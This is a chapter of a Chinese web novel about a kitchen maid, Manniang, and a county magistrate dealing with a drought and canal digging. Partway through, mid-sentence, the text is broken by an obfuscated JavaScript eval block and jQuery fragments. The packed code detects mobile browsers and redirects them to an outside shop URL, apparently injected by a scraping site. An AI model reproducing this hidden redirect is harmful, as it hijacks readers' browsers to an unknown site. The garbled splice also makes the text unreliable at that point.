这所三进的宅院在当地算是排得上的号的好房子,毕竟是上一任知县大人的府邸,听说当年抄家之后宅院破烂不堪,后来是季守谦上任之后找人收拾一番才入住。
府里是有口井的,因此一直不下雨似乎对他们没甚影响,不过蔓娘牢记吴婆子所言,能省就省,若真的有什么事情也能未雨绸缪,若没有旱灾则是最好不过了。
天热人就容易燥,清源傍晚都会送冰块回来,平乐县世家大族这么多,自然都是会享受的,本地卖冰的便有五六家,大多是冬日里在河里敲下来的冰块留存到夏日售卖,也有两家是在冬日里用凉开水冻的冰,价格自然也贵上一些。
清源买的大块冰是用于主院冰鉴,黄昏时候用上,到了第二天早上还不化。小块的碎冰格外便宜,拎一桶回来府里上下都能解解暑。
那日蔓娘给季守谦做的是改良版的冰雪冷元子,里面的糯米圆子可叫他多少饱腹,免得什么都不吃容易肠胃落下毛病。不过也不敢日日给他吃冰,时而做些清爽的菜包子,配上时下地里长出来的小菜,也格外爽口。
六月底时候,全府上下领赏银,蔓娘去领了钱,清源叫她签字,蔓娘摇头:“我不会写字的。”
清源:“那便按下个手印,证明月银是你自己来取的,我也好和郎君交代。”
蔓娘听话的按下手印,同时想,以前在别家府里做活时,都是主家夫人管家,夫人手底下会有能干的丫鬟们,一般都是她们出面来做事。
现在府里只有清源一个人,大事小事都要他过手,幸好他是个好人,还能和蔓娘有说有笑。
“今晚吃什么啊?给我做一碗解暑的来吃吃吧。”
蔓娘柔声回答道:“郎君昨日吃了冰饮,今日怕不好再吃了,你若是想吃,一会去厨房寻我,我给你煮一碗绿豆陈皮饮子,少放些冰,免得一冷一热胃部不适。”
清源太喜欢蔓娘做的吃食了,格外对他的胃口,他们郎君也喜欢,这些日子多少不苦夏,能用一些了。
拿了沉甸甸的月银,蔓娘心情大好,回去路上碰见了吴婆子,还笑着说给她买好吃的。
吴婆子是排在蔓娘前头领的月银,手上还拎着钱袋子,没回去特意等在这,恐有话同她说。
“怎么了?”蔓娘发现吴婆子一脸愁容。
“我明日一早就得走,我这一走,就剩下你自己了,有些放心不下。”
前两日家里传了消息,说小孙儿生病了,吴婆子记挂着便和主家告假,特意等领完月银再回去。
“我能照顾好自己的,婶子放心。”
吴婆子摇头:“我自然不担心你,就是最近郎君老是点名让你来做饭,我担心那小心眼的王大厨怀恨在心,若是趁我不在给你使绊子,可如何是好啊。”
“郎君端正,不会任由眼皮子底下有人作乱,再说,若真的欺负我了,我也不忍着,找郎君做主就是。总之,婶子你安心回去,我还等着你回来呢。”
话是这么说,可在人家府里做工打杂,哪有一告假就半旬的道理?吴婆子知道自己恐怕回不来了,可这也是没办法的事情。
临走前,蔓娘自掏腰包买了糖,用厨房剩下的桂花碎,熬了一些桂花糖,外头裹了一层熟黄豆粉,这样以来拿家里去也不会化的太快。
吴婆子揣着一包糖,蔓娘一直送她出了大门,在晨光微熹中,吴婆子背着包裹离开季府了。
平心而论,蔓娘知道自己性子孤僻不爱说话所以不讨喜,她几乎没朋友的,吴婆子算是她的好友,冷不防她一走,蔓娘没个说话的人,还怪寂寞的。
去厨房路上路过了小花园,这几日洗菜水都倒在这了,土地一直湿润,不过蔓娘觉得有点浪费,而且还容易将花养死,但直接倒掉又未免觉得可惜。
院子里铺着石板不觉得有什么,可细看没铺板子的土地,龟裂越发严重了。
“比十日之前更甚。”
城外,季守谦带着三个人来到百姓的田地里,不管是水田还是旱地,都不同程度的缺水。尤其是那水田,比之前他来查看时水位下降更多。
上午时分日头烈的惊人,老百姓顶着烈日,一遍遍地挑水往田地里灌。两桶水下去,那水位根本就不见涨。
清源拦住一位老汉详细询问,因着他们没穿官服,所以老汉不知是衙门的人,顿时大倒苦水。
旱地还好说,隔三日灌一次,那水田却是等不得,一家八口人,每天从早挑到晚,饶是如此,也覆不了全部田地。
“为了生计在水田里投了不少小鱼苗,可水位下降的太厉害,鱼苗藏不住,全叫鸟给叼走了!”
因着每日酷晒,老汉的皮肤比酱油铺子里卖的酱油颜色还深,饶是如此依旧能看出他边说边眼眶发红:“也不知道何时能来场大雨,救救我们吧,否则这地便要旱死了。”
说罢也不管清源反应,佝偻着腰挑着扁担走远了。
清源只得回来禀告,季守谦正眺望远处,只见地里都是忙碌身影,甚至还有五六岁的小童拎着个小桶,晃晃悠悠的往水田里倒水。
“这些地是他们一年的心血,若真的大旱,到了年底时扣除各项税收,怕是没有剩余了。”
“大人体恤百姓,实乃我平乐县的福气。”
“刘工,还望你们师徒能帮忙想办法,将那河水引至田地,免去百姓挑水之苦,再有,河水已经开始消退,趁早行动更为妥当。”
“大人放心,小人定然竭尽所能。”
叫刘工的是位能人,是季守谦特意请来破局的。一行人又往河边去,路上碰见有人因为劳累和酷暑而晕倒的百姓,季守谦叫清源将人背家里去,再给请大夫。
……
嘴里的糖甜津津的,清源吃的心满意足,不过在踏入主院前,还是赶紧将最后一点嚼碎了咽下。
敲门进书房,他们郎君果然在靠着写大字静心。纸上密密麻麻写着水渠二字,看来尽管今日挖渠一事已经稍有眉目了,郎君还是头疼。
静静立在一旁磨墨,过了片刻,季守谦放下笔,清源端来水盆。等季守谦擦手时,适时开口道:“郎君,后院的荒地可要做什么用处?”
“暂无用处。”
清源来了精神,连忙说:“那不如让府里的人自行处理了如何?左右也是闲置着,若种一些菜也是好的,还能吃上一口新鲜的,郎君觉得如何?”
“是蔓娘让你问的?”
清源嘿嘿笑:“郎君英明。”
后院荒地面积不大不小,府里人数不多,便没处理,若是能种上菜也是好事,季守谦自然应允。
并
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17656017|206967||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
未将此事放在心上,直到几日后夜里他睡不着,没惊动清源在府里散步,走着走着便来到了后院。
原本杂乱荒芜的地面已经变得平整,和之前留下的腐烂秋菘菜也被拔掉,土地被翻过,在月光下瞧着肥硕莹润,更显得地垄归整。
季守谦发现土地颜色明显更深,刚开始只以为是翻了地的缘故,待他蹲下后随手一摸,土壤竟是湿润的。这种天气还能保持湿润,看来是有人每日浇水。
翌日去往府衙的路上,他便从清源口中得知,厨房每日的淘米水会用来洗菜,洗菜的水则是浇灌菜园子了。
“早上蔓娘说她今日去买秧子,能种什么就种什么,正好地不用荒废,水也用上免得浪费了。”
车里闭目养神的季守谦淡淡开口:“你们倒是关系匪浅。”
说完这句话季守谦便没说一个字,留下清源暗自思索。
听郎君这意思怎么有点不对劲?
到了衙门后,赵县丞带来三封信,是同州其他知县递的消息,他们所在地也出现大旱征兆,来消息就是为了互通有无。
还有个知县在信里提了方案,与季守谦想法如出一辙,那就是趁着河水未消退尽快挖水渠,一来给百姓存水用,二来则是灌溉田地。
季守谦也分别回了信,这边赵县丞将封好的信拿走,没一会折返回来说已经办妥了,又问起挖渠的事情。
“知晓你的担忧,你怕水渠挖好后万一来雨了,容易造成劳民伤财工程,到时候上面要问责。”
赵直老脸一红。
他没办法不顾及自己,他站在县丞这个位置已经是自己最大程度的努力了,不想掉下去,因此想的不免多一些。
季守谦又道:“所以挖渠一事,不仅仅是为了解燃眉之急,更是长久之计。”
赵直激动地上前一步:“大人此话怎讲?”
季守谦微微一笑,打开一张图纸。赵直凑上来,发现并不是县衙里存的平乐县地图,瞧着更为细致,甚至田地都标记了水田和旱地。
“大人自己测绘的?”
见季守谦颔首,赵直心下不免惊叹。看来他们这位年纪轻轻的知县大人,远非池中物啊。
不仅如此,季守谦还叫人将各家各户洗菜洗米水收集起来浇灌园子,若家里没有园子便将桶放在门口,会有人来将水取走,送去城外最近的田地,如此也算是方便老百姓了。
和蔓娘用水浇荒地有异曲同工之妙。
俩人又叫来刘工及其徒弟,商讨了整整一日。
夜里回家时难得饥肠辘辘,清源高兴地立刻去倒房喊蔓娘。
“不拘泥什么,但一定要快。”清源道。
“还以为郎君今日不回来吃饭,晚饭我们就包了些菜馉饳,正好还有些面皮,我马上就能做出来。”
王大厨原本想出来做事的,但他走出来时就见清源和蔓娘往厨房去了,不免心里暗恨,可又无可奈何。
手脚麻利的蔓娘很快就做好了两碗馉饳,端到季守谦面前时,他嗅着那汤底的鲜味,又看着饱满小巧的馉饳,忽地有一种熟悉之感。
……
“小少爷,这是我做的馉饳,你学习辛苦要多吃点才是。”
少女面容稚嫩声音温柔,将一碗同样的馉饳推到季扬面前。